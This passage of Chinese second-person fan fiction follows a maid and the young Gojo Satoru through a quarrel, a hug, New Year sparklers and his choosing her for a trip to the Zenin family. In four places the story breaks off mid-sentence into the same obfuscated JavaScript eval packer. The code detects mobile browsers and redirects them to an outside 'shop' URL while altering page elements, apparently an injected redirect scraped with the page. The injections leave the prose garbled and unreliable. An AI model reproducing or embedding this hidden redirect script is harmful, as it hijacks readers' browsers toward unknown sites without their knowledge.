《这个世界不能没有小猫》 2. 生气的小少爷 04 你没有捏他的脸,当然没有。 这是完全不符合规定的,虽然你真的很想,但是这种十分失礼和冒犯的事情,你当然不会去做。 你只是一如既往的,站起身,对他笑了笑,略过这个话题。 于是你低估了小孩子记事的能力,尤其是五条小少爷。当你和一群侍女屈身向少爷行礼,唯独他在你这里突然转身离开,不去看你时—— 你突然意识到,咦……?五条少爷好像生气了。 同伴们问你怎么回事,是不是又偷吃悟少爷的糕点了,你笑着说没有,说你也不知道怎么回事。 同伴们追着你不放,嬉笑打闹间,你看见不远处的五条少爷正站在原地注视着你,短暂的对视后,你刚要打招呼,他转身,又走了。 你摸摸鼻子,糟糕了,五条少爷好像是真的生气了。 05 五条少爷生气了,你十分清楚。 你很想去安慰或者解释些什么,但是侍女的工作太忙,你又太累。就这样忙忙碌碌到了第四天,终于轮到了你休息。 你刚准备伸个懒腰,休息片刻就去找五条少爷赔礼道歉,一抬头,对视时窗户前一双蓝色的眼眸。 “咦…?” “咦咦咦咦!?” 你大愣,伸懒腰的动作都顿住。 好神奇,你居然在宿舍看见了五条少爷。 他看了你一眼,转身又要走。理性告诉你必须要追上去,于是乎,你立刻爬起身真的追了上去。 “没有。” 他矢口否认,“我不是来找你的。” 你眨巴眨巴眼睛,跟在他后面,“真的?那是来找谁的?” “和你无关。” 你失笑,如果是单独在院子里,你已经拉住他了。但现在在外面,所以你只能跟在后面。 大约是你一直跟着后面又不说话,五条少爷转过头,蓝色的眼眸丝毫不掩饰的不悦,“你还跟在我后面做什么。” “嗯?” 你疑惑了一声,“因为我本来就是要去见您的,只不过刚好在半路碰见了,当然是一起回您的院子了。” “骗人。” 他回答的太快了,你前脚话音刚落,他后脚说你骗人的话就已经冒出来了。 “你根本就没有想来找我。两个小时前你就躺下了,醒来第一件事就是准备拿桌上的糕点。” 你有些被惊异住了,哈的一声笑出声,“这个也能看出来吗?少爷好厉害。” 五条小少爷看着你没说话,但表情更冷了。 “好嘛好嘛……对不起嘛。” 你凑上前,搓搓手想要道歉,“我只是有些累,想要休息一下。我计划的就是休息后就来找您的哦。” “是真的啦——五条少爷,别再生气啦!” 你跟在后面变化着各种招数道歉。 穿着和服的小少爷走在前面,头也不回,脚上的木屐踩着哒哒的声响,宽大的袖口都垂下来。 “我下次一定会第一时间来找您的,原谅我吧?” 他走了一路,你也跟了一路,说了一路。 五条少爷站在长廊的台阶上,最上面那一层刚好站上去可以到和你身高并排的高度。 他突然停下脚步,你也突然停下脚步。 你摸摸鼻子,理智告诉你必须现在说点什么,是道歉的最佳时机,却因为刚才说了太多话,现在怎么样也想不起来。 五条小少爷转过身,苍蓝色的眼眸注视,“抱我。” 你抬了抬眉,愣住。 “抱我。” 他又重复了一遍。 这次你听清了。但你没有动。 “这个……对我来说,可能有些难度哦。” 你企图活跃气氛,“如果被家主大人知道了,我会完蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029075|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” “未来家主也会是我,你不会完蛋。” 可爱的少爷。你这样想到,笑容大大扬起,却背着手站在原地。 他没有再说话,只是用那双苍蓝色的眼睛静静地看着你。 “蹲下来。”他说。 这个指令没问题,在你职业范围内,你蹲下身,双膝跪地。 然后,你看见五条小少爷走下台阶,靠近你怀里。 “抬手。” 他继续命令道,“手放在我背上。” 哇…… 你不禁感慨。 太狡猾了。 五条少爷简直太狡猾了。居然在你职业范围内做出这么不符合职业道德的事情。 而在你思考这些的时候,五条小少爷已经勾住你的脖子,下巴抵在你的肩膀上。 暖暖的。 你想。 怀里暖洋洋的,白色的头发都感觉暖洋洋起来。 你低头,用力地抱住,脸埋在他侧颈的领口下,手臂不断缩紧。 像一个草莓大福,软软的,小小的,甚至可以听见若有若无猫咪挤压的声音。 “……好紧。” 怀里发出了声音,“别抱了。” “哦…” 你哦了一声,没松手。又抱了好一会,才松开。 蓝色蜻蜓的和服领口被弄得乱乱的,你吓了一跳,赶紧整理起来。 “你是树袋熊吗?”他问。 “树袋熊是什么?”你说。 “一种喜欢抱着树的动物。”他解释道,看向你,“你没见过?” 你点点头,又摇摇头,但其实都是一个意思。你知道熊是什么,但不知道树袋熊是什么。 五条小少爷沉默半晌,说,“我会带你去看的。” 你觉得好笑,或者可爱,你又想抱抱他,但不合规矩。 “谢谢。”你说。 3. 质问的小少爷 05 五条少爷每天的行程非常繁忙,训练授课实践。 你也并不是每天都能看见五条少爷,你的工作也很繁忙,提桶,倒水,浇花,洗桶,这些都是你的工作。 至于陪在五条少爷身边,看他进食和授课,那些是拥有术式的高级侍女的事。 整理床铺或整理衣服,在偶尔或许有那么一两次的机会,可以允许你进入。 而这种进入大部分都是在五条小少爷不是很开心,被高级侍女们察觉出来后,才会叫你过去帮忙照看一下。 你的上司是家主大人钦点出来的侍女长,一个雷厉风行的、很厉害的女人。 “下个月就是悟少爷外出,在京都与禅院、加茂两家的嫡子会面!” 侍女长大人在一众站立的侍女中穿行,将烫金的邀请函副本拍在手中。 她的声音压得很低,却字字清晰,“虽是年幼一代的初次正式交际,但关乎五条家的体面与未来。家主的意思是绝不能让悟少爷在那边觉得无聊,或情绪不佳!” “所以,我们要挑选出最优秀的侍女,陪同悟少爷一起去!清楚了吗!” “是!!” 众人突然一齐开口,你被吓了一跳,身体都抖了抖。 这种“晨训”的场合一般都没你的事,准确来说是不够格。 只有近侍和高级侍女才需要晨训,至于你这种小等级的,浇浇花洗洗桶的侍女,每天只需要按部就班就好。 你没有开口,却被眼尖的侍女长大人抓到。她缓步到你面前,看着你的眼睛问,“你有信心吗!” “我……!呃…我、我有!” “你有信心吗!!” “我有!” 你被迫喊出,脸已经开始发红。 好奇怪,这到底是什么奇怪的传销口号。 而且真的要这么大声的喊出来吗。 侍女长大人在连续问了你们好几遍后,才终于结束了晨训。 “所以,你要和我一起出去。” 午休的时候你躺在草坪上,身体呈大字型展开。初春的阳光过于暖和了,草坪都被照的亮亮的。 你眯起眼,没睁开眼,朝说话的声音伸了伸懒腰,“嗯……?” “你要和我出去了吗?” 五条小少爷蹲在你的头顶,抱着膝盖,蹲下身看你。 “去哪?”你问,依然闭着眼。 “你刚才说的。” 五条少爷说,“侍女长要选出一个侍女,作为陪同。” “啊……好像是的。不过她没有说是几个。” “她还说了什么?” “问我有没有信心,连问了我好几遍。” “你有信心吗?” 风吹过来,树叶发出飒飒的声音。 他见你一副像是要睡着的样子,伸手戳你的脸。 “你有信心吗?”他又问了一遍。 你睁开眼,看见五条少爷倒着的脸。白色的发丝刺刺的映在眼前,白色的睫毛像雪,浓密且纤细。 你真的觉得五条少爷很好看,非常非常漂亮,漂亮到不像是这个世界上真实存在的人。 明明家主和家主夫人都不是白色的发丝,为什么五条少爷是呢? 脸上的指尖戳的用力了些,你回神,看见五条小少爷已经隐约不悦,嘴唇都抿成一条直线。 “好痛。”其实并不痛。 “我是故意的。” 五条少爷说,收回手,唇角的肌肉隐约有向下的拉扯感,“你在想什么。” “我吗?” “嗯。” 他依然蹲在头顶,俯下身看你,“你在想谁?” 你顿了一下,被这句话逗笑了,“什么?” “你在想谁。” 对于你,五条少爷出奇意外的显得很有耐心。可能你神经大条的缘故,关于前面的对话,几乎每一句他都需要重复。 “谁教你说的这句话。” 你伸手去捏他的脸,他似乎有些没反应过来,躲闪了一下,但你还是碰到了他,只不过有无下限。 你并不在意,收回手,继续笑道,“是不是其他侍女姐姐教你说这种话的?真是的……小孩子就要有小孩子的童真啊,不要说一些奇奇怪怪的话。” “不是奇怪的话。” 他蹙眉,从头顶走到你右侧的地方,“你还没有回答我的问题。” 他想了一下,好像愈发有些不是很高兴了,声音都低了几分,“为什么你每次都不回答我的问题。 “停停,”你伸手做了一个止住的手势,“我不是都回答了嘛,是你问题问的太多了,我需要思考。” 他看着你的眼睛,停了几秒,像是真的有认真在思考你的话。 “那你现在思考完了吗?” “嗯……” 你沉吟片刻,点点头,“不如你把问题再问我一遍,怎么样?” “……” 五条小少爷不说话了,他的嘴角失去了所有向上的弧度,苍蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17029076|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的眼眸一动不动看着你。 “……算了。”他别过脸去,“不想问了。” “真的不问啦?” 你故意上前,想要和他对视,“不问我就走啰?” 白色的小脑袋飞快地转过头,蓝色的眼眸盯着你。 你哈哈笑道,重新躺在草丛里,张开手任由草地覆盖在你身上,“开玩笑呢。” “现在是休息时间,我才不会去工作咧。” 小少爷继续蹲在你旁边,看着你。随后坐下身,盘着腿。 他本身有无下限,所以你并不担心会弄脏衣服以至于被问出来中午谁和悟少爷在一起,会责罚你。 “你要和我一起出去了吗?”他突然开口。 “你说下个月的那个?”好熟悉的问题,好像在哪里被问过,你迟缓的“嗯……”了一下,摇摇头。 “不会。” 五条小少爷看着你,没说话。 “那个很难的啦,而且竞争压力很大欸。我压根连名都没有报,才不想和她们争呢。” “一想到我的竞争对手都是拥有术式的姐姐们,我就直接毫无胜算啊。” 你拔了一根草,在他眼前晃了晃,闭着眼睛,“而且,等你回来我们再一起玩,不也是一样的嘛。” “……” 五条小少爷没有说话,他只是看着你,平缓且缓慢的看着你。 他很想说让你一起。我们可以一起出去,我会带你去看树袋熊是什么,给你买苹果糖,她们说很好吃,很甜的食物。 想说这是不一样的,外面的世界和五条家是不一样的。不需要每天浇着同一朵花,不需要再永远一成不变穿着白色的和服,不需要永不停歇的工作,只能在你休息的片刻来找你。 树袋熊只有一个,今天的苹果糖也只有一个。 他总是有很多想问你和想要和你说的东西,但你总是一副前辈的模样说,“不可以哦,小孩子不能听这个。” 阳光从左侧飘到了右侧,被云层挡住一大片又重新展露出来。 你似乎已经睡着,手里的草放在地上一动不动,呼吸都平缓了起来。 五条小少爷垂了垂眸,白色的睫毛挡住一半眼帘。 他侧躺下身,仰起头看你,见你依然没什么反应后,头小幅度的朝你腋下靠了靠。 两个大小不一的小人躺在草坪上,像两个坚果小人。五条小少爷平缓地闭了闭眼,像是刻意跟着你呼吸的频率一样。 半晌,他解开了无下限。 4. 奇怪的小少爷 06 没等你思考究竟要不要去参加侍女考核,新一轮的事情已经变得忙碌起来。 浇花浇花,不停的浇花,侍女长大人给了你一个木质的水壶和瓢,指着一大片几乎要看不到头的院子说: “这是你今天晚上之前的任务,务必保证每一枝花都沾满水珠。” 你看了看花,又看了看瓢,第二次询问真的只有我一个人吗? “你参加选拔了?” “没有啊。” “那就只有你一个人。” “嘶……” 侍女长大人解释说,因为其他侍女都去参加选拔了,所以人手不够,只有你一个人。 “好吧。” 你点点头,其实让每朵花都沾上水珠的任务对于拥有咒术的人来说特别简单,你曾看见一个术式女仆“咻!”的一下,水珠都从水流中分解出来,然后稳稳当当落在花瓣上。 “那不是女仆,是家主大人专门请的咒术师,只不过顺带帮忙照顾一下悟少爷而已。” 她把壶用力地推在你怀里,语重心长的点了点头,“你才是正宗的侍女,浇花,打扫,照顾悟少爷就是人生尽头的首要任务。” 哇……正宗侍女… 你听见这句话眼睛都亮了亮,不知道为什么,好开心的样子。 你用力点头,承诺一定会圆满完成每一朵花都沾染上水珠的任务。 水桶很重,花枝有利刺。你不知道那是什么花,很漂亮,底部的根枝却有丰富的利刺,哪怕你横着像螃蟹一样走过去,也会刮到腿。 美丽的东西总是暗藏杀机,却又刻意等待有人将它从泥土中挣扎出来,所以开出最艳丽的花朵。 弯腰和下蹲很累,你晃了晃手臂企图缓解酸痛,抬起头才发现只完成了六分之一。 不远处的三两个侍女匆匆忙的走过,手里拿着托盘。 今天大家好像都很忙的样子,是因为选拔吗?不过为什么长老也都出来了。 你不太清楚究竟发生了什么,毕竟那和你无关。一个正宗的侍女就是完成侍女长大人的任务。 你挽起袖子,开始了一轮又一轮的浇花。 提桶,放桶,提桶,放桶。 你抬起头,从靠近花圃的那一圈,已经浇到最里面了。 看样子已经从六分之一完成五分之一了。 你抬起头擦汗,转身提桶之际,看见最前端隐约站着一个白色身影。 不是前段,是后端,按照刚才的方向,就是你和侍女长大人交谈时,所站的地方。 距离你现在的位置已经在两个极端的对立面了,你已经跑到最后面去了。 你放下水瓢,抬手放在额头上,挡住光想要看清他。 白色的像一个小蘑菇,好像是五条少爷。 你用力挥挥手,想要让他看见。六眼的特异根本不需要发动术式,从你五分钟前弯着腰背对着他时,五条悟就看见你了。 你挥舞的幅度很大,他很难不看见,就算没有六眼,他还是会看清你。 五条悟没有和你一起挥手,他只是从蹲下身改成了站起,苍蓝色的眼眸看着你,想要和你说话。 你为难的看了看四周,举了举瓢,无奈地摊了摊手。 你们隔着太远,过去又太麻烦,两个人的对话像哑剧。 你看不清五条少爷的表情,但是注意到他今天穿了一件很华贵的和服。像是穿了一件好看的衣服,所以特意想要来找你,结果发现你被困在一群花中。 后方来了几个高挑的侍女,五条少爷看了她们一眼,在侍女姐姐们的哄诱下,他走了。 你挠挠头,继续浇花。 为什么大家都好像很忙的样子,而且浇花到底是要做什么,是谁的生日吗? 你不太懂,挠挠头,继续浇花。 不过既然是重要的节日,那么花一定是重要的东西。 这么重要的任务交给你,等大家一起来欣赏的时候,一定会看见你的辛劳成功。 你用力“嗯!”了一声,斗志满满,继续浇花。 07 浇完花的时候已经接近晚上,每一朵花上都晶莹剔透,在月光下闪闪发亮。 一个大工程,你满意地长舒一口气,抬起手臂揉捏的时候才发现酸痛到不行。 四周空无一人,连灯都昏暗了不少。 你坐在地上,欣赏着自己的杰作,等会如果家主大人夸赞,你该怎么说感谢词呢? 08 你等了好久。 好久好久好久好久。 四面昏暗一片,一个人都没有,平日这一块会开的灯都灭了。 好奇怪,大人们到底什么时候来。 你在地上实在坐的受不了了,屁股都坐疼了。站起身,拍拍草,你走出院子。 院外也是黑的,但没有很黑,不远处靠近主厅的位置隐约挂着灯笼。 你思索片刻,走过去才看见所有的人都聚集在这里,不知道在过谁的生日,人山人海,灯笼全部都聚集在这里。 “今天是谁的生日?” 你随机拉了一个侍女,问。 “什么谁呀!” 她的脸颊红扑扑的,漂亮的和服像是新衣服,手里拿着纸灯,“是家主大人们庆祝呢!” “是庆祝什么?” 你拉了拉她的袖子,想要问的更清楚些,“侍女长大人给我安排了任务,让我一整圃的花,他们什么时候过去看?” 她思索了一下,“应该不会去了。” 你大惊,“什么!” “对呀,你来晚了,长老和家主大人们已经坐在那边闲聊了。今天悟少爷也来了,穿了一件非常漂亮的蓝白色振袖和服欸……头发是白色的,脸也是白色的,眼睛蓝蓝的很可好看了……” 你没有再听她后面的话。 你真的有些失望了,太难过了!怎么可以这样!难道不知道上面人一句话,底下的人得准备多久吗? 太难过了,难过到你要挤到最前面去偷吃给长老们准备的水果。 09 人群的拥挤超过了你的想象。 手挨着手,肩膀挨着肩膀,你已经后悔挤进来了,用尽全力想要出去却被挤的更远。 人流像粘稠的潮水,每一次挣扎都让你陷得更深。 陌生衣料粗糙的摩擦声、蒸腾的体温、混杂的脂粉与汗味几乎要将你吞没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17029077|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。你踮起脚试图寻找空隙,却只看到一片晃动的后脑勺与衣领。 有人手肘撞到你的肋骨,你闷哼一声,脚下的木屐歪了。 你暗道一声完蛋,朝前倒去,突然被人牵住手。 你吓了一跳,下意识想抽回——可那只手温热又有力,不容分说地将你拉离了嘈杂的人群。 你踉跄几步,视线只来得及瞥见一抹晃眼的蓝白振袖衣袖,还有那人后颈微扬的银白发梢。 “欸……?” 你微愣,有些没反应过来。 他拉着你穿过回廊,脚步声在空旷的庭院里发出哒哒的声响,风灌满了宽大的袖摆。 “五条少爷……!” 你愣神,如果这里的是五条少爷的话,那么刚才远远和家主大人坐在一起的是谁? 你回头,才发现家主大人旁边空了一小块。 他拉着你跑了好远,远到你都不知道这是什么地方。气喘吁吁的停下,你喘着气,摆着手说真的跑不动了。 米色的木屐在你眼前,你撑着膝盖好一会,视线内突然多了两个绿色的水果。 小小的,绿色的挨在一起,像葡萄但比葡萄要大很多,绿莹莹的过于饱满。 你抬起头,看见五条少爷正低着头看你,那双苍蓝眼瞳里少见地流露出一点局促。 他举着那串葡萄的手又往前递了递,银白的发梢在微风里轻晃。 “喏。” 他说,脸上没有太多表情,声音比刚才小了些,“分家那群家伙给的,很难吃。” 你二话没说,听见最后一句话时,你已经往嘴里塞了一个。 “好甜!” 你惊叹,蹲下身旁边看他,甜的你眯起眼又吃了一个。 五条少爷垂眸看着你片刻,唇角小小扬起一点弧度,和你一起蹲下身。 他没有说话,而是又给你一个东西。 长长的,细细的,从他的袖口里拿出来,雪白的内修立刻留下黑色的印记。 作为侍女这可是你的雷区,你惊叹一声,倒吸一口气,“五条少爷!” “不要把奇怪的东西放在袖口哇!会洗不掉的。” 他的动作有些快,或者说有些着急,像是要掐着时间一样,只是胡乱地塞在你的手上。 “这是什么?” 你看了看,不太认识。 “像木棍一样,这是工具吗?” 五条少爷没有说话,只是拿着怀表,似乎还是他从家主大人那里顺过来的,不停地对照着看着。 “为什么要看时间?” 你好奇,实在搞不懂今天到底怎么回事,关键也不是你的生日啊。 “而且为什么外面要那样?你为什么要穿新和服?虽然你新衣服真的很好看……不过为什么大家都聚在一起?” 你太疑问了,拿着那根小钢棍,一个劲的问他。 五条少爷一直看着怀表,直到某一个时刻,他合上表,指尖靠近那根钢棍,像传递火苗的那样。 你还没反应过来,顶端突然迸射出金色的光。像一只小型的烟花。 “十一点五十九分四十一秒。” 他说。 “新年快乐。” 5. 询问的小少爷 10 新年后,你有好一段时间没再见到五条小少爷。 侍女的工作可是非常繁忙的,要整理住宅清洁庭院,准备茶点,每日无休。 虽然你很开心那天少爷请你看烟花,不过该完成的工作还是不可以耽误。 碰巧的是这天你和其他侍女们一起去五条少爷院内侍奉,你看见了他。 只是非常非常远的看见了一点点,作为普通侍女是没有办法和五条小少爷距离太近的。所以你只是专注于自己的工作,埋头给花盆里的青松松土。 从你进门的第一眼,五条悟就看见了你。但他没有说话,只是从你进屋,一直到跟着最末尾队伍,最后看着你在角落坐下,他才收回视线。 自从新年祭后那一次,你们很久都没有再见面。路过时被其他侍女牵着看见过你一次,不过你只是低头整理自己的东西,没有看见他。 原本想等等几天,看你会不会来找他。结果一次都没有。 有一次五条少爷都已经走到了门口,想带你一起跑出去玩,但一想到你连续好几天都没有想来找他,还极有可能又躺在榻榻米上一边晒太阳一边吃饼干,最后硬生生人到了门口又,转身走了。 再见面,就是这一次。 “五条少爷太棒啦!又写完一张字帖,非常非常好哦!” “哇——好厉害呀五条少爷,少爷最厉害啦!” 身边的侍女总是毫不吝啬夸赞,争先恐后拿着刚写好的那张字帖相互传阅。 休息时间的气氛十分活跃,五条小少爷大部分都不会生气,他甚至会微微扬起下巴,嘴角带着点理所当然的骄矜。 你也稍稍松了一口气,毕竟从刚才到现在,你一直都在一盆巴掌大小的盆栽旁摸鱼划水。 虽然你的确一直想要成为最佳侍女员工,不过适当的摸鱼是家族传统。 你不太规整的跪坐在地上,神态明显放松整理着盆栽表面。不远处和室内的场景十分欢脱,侍女们打闹着跑来跑去,甚至不小心撞歪了矮几的一角。 你有些无奈地摇头,目光不经意掠过,却正对上房间内那双苍蓝色的眼眸。 五条悟正静静看着你,脸上没什么表情,在明显触及到你的视线后也没有移开,反倒继续注视着。 你心头一跳,以为摸鱼被发现了,立刻端正了跪姿,手指下意识抚平了和服下摆的褶皱,专注于清理盆栽。 “说起来,少爷要去禅院家好几天呢,我们一定会想您的!”一个侍女撑着下巴说道。 “对呀对呀!上次我还看见明子还在念叨,如果您出去了自己不知道该难过成什么样呢。” “啊……!田子,不要这样说啦!” 名叫田子的侍女笑道,上前捂住明子的嘴,“不过,少爷出去的这段时间我们的确会很想念您的哦,不管是我还是大家,亦或者是……” 她的话音突然拉长了一下,没有说后面的话。 你有些好奇为什么对话突然顿住了,一抬头,看见数张眼睛都含笑看着你。 “欸……?” 你微愣,这种话题,不会和你还有关吧。 田子笑眯眯地站起身,拉着你进和室,又按着你坐下,“亦或者是我们的勤劳蜜蜂小姐——整个宅院,无一不会不想念少爷的哦!” 你被突如其来的拉住有些微愣,勤劳蜜蜂小姐,这个只是高等侍女们调侃你的昵称,毕竟你的主要工作就是和花草植被有关。 但此刻被她们用在这种语境下说出来,配上那些促狭的笑容,让你莫名的几分局促起来。 你下意识看向五条少爷,他依旧没什么表情,只是那双眼眸似乎更专注了些。 田子还在说。“对吧?我们勤劳的小蜜蜂,肯定也舍不得少爷出门那么久,对吧?” 所有目光都聚焦在你身上,包括他的。 “啊……这个…” 你停顿,长吸一口气,再抬眸时已经是一副笑吟吟的模样,“当然啦!” 你两手一拍,表情十分真挚,“我当然也会想少爷的啦!虽然我不能同去很可惜,不过我和大家一样,都会很想念少爷您的哦。” 你扬起一个标准得挑不出错处的笑容,声音清脆,滴水不漏,和旁边其他侍女们的说辞并无二致。 但五条小少爷的眉毛却几不可察地动了一下。 他没有说话,只是注视着你,半晌,移开视线。 “哦。” 他应了一声,声音平淡无波,“知道了。” 和室里的气氛莫名冷了一瞬,侍女们面面相觑,你也面面相觑。 ……总感觉,自己好像无意间又让五条少爷不高兴了。 田子招呼着挡在你面前,背后的手示意你快离开,以免迁怒到你。 你哦哦点头着回去,心想还是盆栽好。 一直到结束,你才大大松了一口气准备回家。 “你。” 跟在队伍最后面的坏处就是需要最后一个离场,你转过身,看见五条小少爷站在门口。 “进来。” 他的声音没什么起伏,但比平时要低沉一些。 你指了指自己,疑惑了一下,五条悟没点头也没摇头,而是转身径直走回了室内,只留给你一个背影,意思再明显不过。 高等侍女们安抚性地看着你点点头,有的路过你时,还露出了几分艳羡的目光,频频回头。 你搞不懂这有什么好羡慕的。 摸了摸鼻子,你晃悠悠走进去。 五条少爷没有看你,他坐在榻榻米上,面前是矮桌。桌上摊着几张他下午练的字,墨迹已经干透。 你有些不知道该做什么,虽然和五条少爷关系一直不错,但是已经有好一段时间没有再见到他了,所以现在突然的单独见面,稍稍让人有些…… “五条少爷,”你讪讪开口,“您是不是……因为我有在摸鱼,所以不高兴了?” 五条悟没说话,你正准备开口解释,他突然问,“你为什么要这么说。” 你愣神,“什么为什么?” “刚才她们问你的时候。” 他蓝色的眼眸似乎沉了一下,“你那种语气。” 你一个头两个大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17029078|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全不清楚究竟对方在说什么。 “我什么语气?” “……” 五条少爷不说话了,他垂了垂眸,“……根本就只是在敷衍的语气。” 你眨巴眨巴眼睛,没说话。 五条少爷脸上的表情彻底消失了,甚至带上了几丝名叫不悦的情绪,“你就是在敷衍。” “哎呀……没有啦。” 你摊摊手,在他面前坐下,“只是这么多人,我一时间不知道该摆出什么样的表情嘛。” 见他依然看着你,你缓吐口气,从袖口拿出一小截白色钢针,“喏,你看,上一次你给我的烟花棒,我可是一直有在留着哦。” 他的脸色似乎缓和一些了,蓝色的眼眸一眨不眨看着你手里的小棒。 你晃了晃,甚至带了几分得意,“对不对?所以我没有敷衍吧?” “……哼。” 小少爷轻哼一声,这一声十分微小,几乎是从鼻音里漫出来的。 你笑着想要拉他的袖口,“原谅我了?到底是嗯还是哼呀。” 五条小少爷没说话,只是拿过你手里的烟花棒。 “已经烧没了。” 他放在桌上,“不要留着了。” “那可不行。” 眼看着就要滚落下来,你伸手接住,“是新年礼物呢,而且还是悟少爷送给我的,我要一直保存。” 半截钢丝在指尖旋转了一下,你低头,重新放回袖口。 这一次你不但喊了悟少爷,还表示了他的礼物很珍贵。如你所见,小小的少爷脸上已经隐约可见翘起的弧度。 “还会给你买的。” 他说,一字一句,“我会带你出去,让你看见真正的烟花。” 小小的少年用严肃的语气说出誓言般的话。你没忍住,嗤的笑出声,把他抱进怀里,鼻尖忍不住的想要蹭他的脖子。 “做、做什么……” 他被你突如其来的反应有些吓到,想要推开你的脸,但你已经先一步错开了头。 意外的,你居然没有碰到无下限。 “没什么呀。” 你抬起头,单手依然搂着他,“只是表达友善的一种方式哦。” 五条小少爷推了一下,没推开,整个人都僵了僵,刚才被你蹭过的地方,有些泛红。 “别靠这么近……” 蓝色的眼眸游离了一下,他看向你,开口道,“那你有想我吗?” 你没说话。 “我们已经半个月没见面了。” 他说。 “你有想我吗。” 少年的话语总是出乎意外的直白,他们渴求着最直接的回应,就像渴求阳光下幼芽,不懂得迂回与掩饰。 真心和真切,在这一刻同时显露出来。 你笑了笑,睫毛遮挡住眼眸,埋进他热乎乎的颈窝,轻声道,“有哦。” “从一月初始的那一天起,一直一直都有哦。” 五条小少爷没说话,只是伸手抱住了你的头。 像一只收起羽翼的雏鸟,倚靠在你身上。 6.禅院的小少爷 11 你以为世界上的所有事都有规则,但其实规则永远掌控在少数人手中。 在你因为地没有擦干净,第二次被侍女长大人责罚,碰巧又被路过的五条少爷看见时。 你就已经想找个地缝钻进去了。 的确是你的错,哪有人一边吃饼干一边擦地的,结果饼干碎弄的地上到处都是,曲奇的浅黄混合了水,像泥土一样粘在地板上。 五条小少爷只是平淡地扫了你一眼,那双蓝色的眼眸在你身上停留的转瞬即逝。 他没有说话,很快在高等侍女的带领下离开。 你很庆幸他没有和你对话,毕竟这种场合,你也的确不知道该说什么。 下午你例行在和室内给那盆青松浇水,不过奇怪的是,原本放置在外的小青松,今天无故移到了里面来。 你在那张空空如也的圆桌前停留片刻,手里还拿着铲子,耸耸肩,在众人一屋子的高等侍女前笔直的穿越过去,最终在和室的一张矮桌前看见了它。 一小片云朵一样青松稳稳当当,它被摆放在堆满书籍和文字的卷轴中,一旁就是低头写字的五条少爷。 你和五条少爷共用一张矮桌。 五条小少爷没有抬头也没有看你,白色的发丝看上去有些刺刺的,但其实很柔软,毕竟你在前不久已经非常失礼且得寸进尺的抱过了。 他今天穿着一件蓝白色细波条纹的波条纹的和服外袍,袖口随着拿笔的动作微微晃动。 对于这个位置你没感觉多特别,但底下干活的侍女总是时不时抬头看你。 “……” 你直了直后背,这种堪比监工一样的视线让你很如坐针毡。虽然和室内很暖和,但你已经开始怀念外面,毕竟可以随心所欲的摸鱼。 青松的针叶在满桌的墨香中显得格外青翠。你低下头,小心地拨开根部周围的泥土,检查湿度。 “水浇多了。” 他突然开口,声音还是孩童的清亮,却带着不符合年龄的平淡。 你动作一顿,抬眼看他。 五条小少爷还是没有抬头,白色的睫毛在阳光下近乎透明。 “昨天下午,你多浇了半壶。” 你后知后觉,哦哦了两声,放下水壶。 “和我去禅院的那名侍女生病了。” 五条小少爷突然开口,你一时间有些不知道该怎么接这句话。 “那……祝她早日康复?” 他停下笔,看了你一眼,“你和我一起去。” “……欸?” 你愣住,手里的铲子都差点掉在地上。 “三天后。”五条悟语气平淡得像在说明天的天气,“你代替她。” 你很想开口解释些什么,但一屋子辈分比你高的侍女在下面。职业道德告诉你,现在不比私人时间。 在主人家开口说吩咐时,侍女不得违抗。 也就是说,你现在只能说“是”的份。 太狡猾了! 你张了张口,最后又闭上。 现在看来,你好像真的没有任何拒绝的余地。 12 你很好奇原先要去禅院的那名侍女,是因为什么生病的。 虽然这件事和你无关,唯一的缺点就是感觉你像开小灶被选上的。 但出于关切,你还是拿了些食物去看望她。 她和你在同一栋,所以就算是看望,也不过是翻个窗的功夫。 简单询问了一下,原来是腹泻。 噢……那这个的确,吃了一些生冷的东西,就是会这样,也是在所难免的。 “不是,季子她从来不吃生冷的食物,是误食了别的东西。” “是什么?”你好奇,凑上前。 “鱼食。” “……哈?” “鱼食。” 